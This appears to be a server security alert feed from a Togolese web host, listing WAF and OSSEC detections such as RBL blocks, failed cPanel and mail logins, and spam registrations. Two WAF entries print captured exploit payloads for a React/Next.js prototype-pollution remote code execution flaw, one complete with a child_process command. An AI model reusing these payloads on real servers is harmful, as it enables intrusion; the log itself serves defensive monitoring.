Jun 13 04:28:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.246 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.246
country_id: 2921044
description:
2026-06-13 04:28:59 dovecot_plain authenticator failed for H=tor-exit-7.zbau.f3netze.de (DESKTOP-53E0LT9) [185.220.100.246]:52630: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.101.149
country_id: 2921044
description:
Jun 13 04:29:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.101.149 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.101.149
country_id: 2921044
description:
2026-06-13 04:29:27 dovecot_plain authenticator failed for H=(DESKTOP-53E0LT9) [185.220.101.149]:34285: 535 Incorrect authentication data (set_id=welborn.aflou@univ.ucao-uut.tg)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 89.124.94.93
country_id: 2750405
domain: c2ie.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Nicholascis||Email:p.r.i.es.tch.ub.bs.33.9@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 89.124.94.93
country_id: 2750405
domain: c2ie.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:04-29.89.124.94.93||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 04:29:28 +0000] info [cpaneld] 36.70.11.90 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77093094
abuser: 98.92.97.151
country_id: 6252001
domain: marketplace.netmaster.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"x_6b1dcb99\":\"e5a2062be6757bc8\",\"_response\":{\"_prefix\":\"var phuwx=[].slice.call(arguments,1)[0];var anm=phuwx;try{var _v=((0,eval)(global[\\\"\\\\x42\\\\x75\\\\x66\\\\x66\\\\x65\\\\x72\\\


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 85.254.137.173
country_id: 6251999
domain: togomedia24.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-31.85.254.137.173||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:04:32:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9999714&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325119 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.55.78
country_id: 2542007
description:
[2026-06-13 04:32:06 +0000] info [cpaneld] 105.155.55.78 - ingertgsarl "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:04:31:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10012311&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325089 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:04:31:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921330&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325101 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.183.50
country_id: 1269750
description:
Jun 13 04:32:45 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.183.50 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:04:32:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6973290&pdata=http%253A%252F%252Fdavetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325139 HTTP/1.1" 302 0 davetechno.tg "http://davetechno.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 13 04:33:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 13 04:33:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 152.42.228.153
country_id: 1880251
domain: 154.70.82.244
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.23
country_id: 6252001
description:
205.169.39.23 - - [13/Jun/2026:04:35:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723943&pdata=http%253A%252F%252Fwww.davetechno.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325352 HTTP/1.1" 302 0 www.davetechno.tg "http://www.davetechno.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.23


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.66.56.231
country_id: 1643084
description:
[2026-06-13 04:36:02 +0000] info [cpaneld] 157.66.56.231 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.160.252.171
country_id: 3469034
description:
[2026-06-13 04:36:11 +0000] info [cpaneld] 45.160.252.171 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 103.76.88.37
country_id: 1733045
description:
2026-06-13 04:37:11 H=([103.76.88.37]) [103.76.88.37]:64984 F=<info@sample.com> rejected RCPT <blakeshelton007@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.139.114.190
country_id: 3865483
description:
[2026-06-13 04:36:23 +0000] info [cpaneld] 190.139.114.190 - metaa "GET /login/?login_only=1&user=metaa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.43.126.121
country_id: 3895114
description:
[2026-06-13 04:36:26 +0000] info [cpaneld] 181.43.126.121 - meta "GET /login/?login_only=1&user=meta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user meta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.186.65.149
country_id: 1562822
description:
[2026-06-13 04:36:34 +0000] info [cpaneld] 14.186.65.149 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.172.213.166
country_id: 1605651
description:
2026-06-13 04:36:56 dovecot_login authenticator failed for H=(nsg-corporate-50.255.186.122.airtel.in) [203.172.213.166]:44391: 535 Incorrect authentication data (set_id=backup@dany2.mairie.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.155.98.79
country_id: 2542007
description:
[2026-06-13 04:36:19 +0000] info [cpaneld] 105.155.98.79 - metaar "GET /login/?login_only=1&user=metaar&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user metaar (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.172.213.166
country_id: 1605651
description:
Jun 13 04:36:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.172.213.166 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.167
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2330||QS:add-to-cart=2330||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: mail.moodle.free.netmaster.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 115.164.119.45
country_id: 1733045
description:
115.164.119.45 - - [13/Jun/2026:04:39:26 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000281&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325564 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.5370.1632 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:115.164.119.45


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.13.140.187
country_id: 3175395
description:
Jun 13 04:41:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.13.140.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 04:41:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 180.149.230.197
country_id: 1861060
description:
180.149.230.197 - - [13/Jun/2026:04:42:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039435&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781325771 HTTP/1.1" 302 0 ns5.netmaster.tg "http://ns5.netmaster.tg:2082/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:180.149.230.197


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.196.18
country_id: 1269750
description:
Jun 13 04:43:55 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.196.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.196.18
country_id: 1269750
description:
2026-06-13 04:43:57 dovecot_plain authenticator failed for H=(daria) [152.52.196.18]:37570: 535 Incorrect authentication data (set_id=minoussa@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.201
country_id: 3175395
description:
Jun 13 04:44:10 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.201
country_id: 3175395
description:
Jun 13 04:44:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.201 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.222.12.25
country_id: 798544
description:
Jun 13 04:44:28 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.222.12.25 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 04:44:55 +0000] info [cpaneld] 36.70.11.90 - sprocaadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 159.138.88.173
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:page_title||MV:Sokod\xc3\xa9 : Evaluation de la progression des travaux de construction du march\xc3\xa9 local||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 13 04:49:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.214.16.83
country_id: 298795
description:
[2026-06-13 04:50:45 +0000] info [cpaneld] 81.214.16.83 - auditeccandco "GET /login/?login_only=1&user=auditeccandco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.189.90.156
country_id: 3895114
description:
[2026-06-13 04:51:09 +0000] info [cpaneld] 186.189.90.156 - auditecca "GET /login/?login_only=1&user=auditecca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditecca (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.102.250.223
country_id: 3996063
description:
[2026-06-13 04:50:43 +0000] info [cpaneld] 201.102.250.223 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.203.42
country_id: 3658394
description:
[2026-06-13 04:51:11 +0000] info [cpaneld] 157.100.203.42 - auditecc "GET /login/?login_only=1&user=auditecc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditecc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.169.35.107
country_id: 3865483
description:
[2026-06-13 04:50:59 +0000] info [cpaneld] 152.169.35.107 - auditeccand "GET /login/?login_only=1&user=auditeccand&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccand (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.182.19.134
country_id: 3865483
description:
[2026-06-13 04:51:03 +0000] info [cpaneld] 201.182.19.134 - auditeccan "GET /login/?login_only=1&user=auditeccan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.153.62.46
country_id: 1210997
description:
[2026-06-13 04:50:54 +0000] info [cpaneld] 203.153.62.46 - auditeccandc "GET /login/?login_only=1&user=auditeccandc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user auditeccandc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.185.14.254
country_id: 3932488
description:
[2026-06-13 04:51:18 +0000] info [cpaneld] 138.185.14.254 - audite "GET /login/?login_only=1&user=audite&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user audite (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 144.124.192.168
country_id: 1512440
description:
[2026-06-13 04:51:30 +0000] info [cpaneld] 144.124.192.168 - aud "GET /login/?login_only=1&user=aud&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user aud (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 37.139.53.80
country_id: 2017370
domain: butodra.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-53.37.139.53.80||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.65.53.161
country_id: 3017382
description:
[2026-06-13 04:56:08 +0000] info [cpaneld] 37.65.53.161 - togomedia24 "GET /login/?login_only=1&user=togomedia24&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24 (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 148.244.85.7
country_id: 3996063
description:
[2026-06-13 04:56:13 +0000] info [cpaneld] 148.244.85.7 - togomedia24tg "GET /login/?login_only=1&user=togomedia24tg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia24tg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.89.16.132
country_id: 3469034
description:
[2026-06-13 04:56:35 +0000] info [cpaneld] 189.89.16.132 - togom "GET /login/?login_only=1&user=togom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 167.63.185.164
country_id: 3439705
description:
[2026-06-13 04:56:45 +0000] info [cpaneld] 167.63.185.164 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.134.217.181
country_id: 1282988
description:
[2026-06-13 04:56:18 +0000] info [cpaneld] 103.134.217.181 - togomedia "GET /login/?login_only=1&user=togomedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 197.249.113.250
country_id: 1036973
description:
[2026-06-13 04:56:24 +0000] info [cpaneld] 197.249.113.250 - togomedi "GET /login/?login_only=1&user=togomedi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomedi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 27.125.251.41
country_id: 1733045
description:
[2026-06-13 04:56:28 +0000] info [cpaneld] 27.125.251.41 - togomed "GET /login/?login_only=1&user=togomed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togomed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.19.36.142
country_id: 3996063
description:
[2026-06-13 04:56:38 +0000] info [cpaneld] 38.19.36.142 - togo "GET /login/?login_only=1&user=togo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.95.209.5
country_id: 1210997
description:
[2026-06-13 04:56:32 +0000] info [cpaneld] 103.95.209.5 - togome "GET /login/?login_only=1&user=togome&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togome (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 04:58:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 111.119.34.158
country_id: 1282988
description:
[2026-06-13 05:04:40 +0000] info [cpaneld] 111.119.34.158 - ari "GET /login/?login_only=1&user=ari&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ari (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.227.166
country_id: 1269750
description:
Jun 13 05:04:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.227.166 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 05:05:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.251.210.121
country_id: 3469034
description:
[2026-06-13 05:04:29 +0000] info [cpaneld] 186.251.210.121 - arianatg "GET /login/?login_only=1&user=arianatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arianatg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.244.140.242
country_id: 690791
description:
[2026-06-13 05:04:32 +0000] info [cpaneld] 185.244.140.242 - arian "GET /login/?login_only=1&user=arian&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user arian (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.242.180.190
country_id: 732800
description:
Jun 13 05:05:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.242.180.190 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.70.11.90
country_id: 1643084
description:
[2026-06-13 05:07:05 +0000] info [cpaneld] 36.70.11.90 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.252
country_id: 3469034
description:
Jun 13 05:08:32 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.252 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 96.44.119.165
country_id: 6251999
description:
96.44.119.165 - - [13/Jun/2026:05:11:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7182959&pdata=https%253A%252F%252Fdirect7.tg%252F%253Fp%253D6250&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781327489 HTTP/1.1" 302 0 direct7.tg "https://direct7.tg/?p=6250" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:96.44.119.165


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.164.183.114
country_id: 1831722
domain: relanceinfo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:103.164.183.114||TA:103.164.183.114||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.23.98.107
country_id: 1643084
description:
103.23.98.107 - - [13/Jun/2026:05:13:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854550&pdata=https%253A%252F%252Fwww.matwtogo.org%252Fprogrammes%252FForage.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781327603 HTTP/2.0" 302 0 www.matwtogo.org "https://www.matwtogo.org/programmes/Forage.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.23.98.107


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 05:14:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.174.73.240
country_id: 798544
description:
Jun 13 05:14:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.174.73.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.178.71.217
country_id: 1814991
description:
Jun 13 05:15:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.178.71.217 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 212.241.26.241
country_id: 1527747
description:
2026-06-13 05:18:03 H=([212.241.26.241]) [212.241.26.241]:19195 F=<prakash@white-ways.com> rejected RCPT <prakash@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.201
country_id: 1880251
description:
47.128.96.201 - - [13/Jun/2026:05:26:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116947&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcompassion-international-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781328361 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/compassion-international-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.201


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.123
country_id: 3175395
description:
Jun 13 05:25:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.84.202.132
country_id: 1269750
description:
Jun 13 05:25:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.84.202.132 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 13 05:28:56 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
